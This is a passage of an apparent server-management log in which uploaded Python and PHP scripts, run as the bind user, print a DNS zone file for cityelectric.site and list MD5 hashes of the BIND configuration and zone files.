		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:19:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp671926; rm /tmp/pkp671926'

2026-02-09 14:19:29: 
2026-02-09 14:19:29: 

PUT: /tmp/pkp659474

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 14:19:29: 

chmod 755 /tmp/pkp659474; /tmp/pkp659474; rm /tmp/pkp659474

2026-02-09 14:19:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	828
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129352 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 7f03a0db9b613acaa1b803065e09ef53
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:19:38: Establishing a connection
2026-02-09 14:19:38: 

PUT: /tmp/pkp784873

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:19:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp784873; rm /tmp/pkp784873'

2026-02-09 14:19:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
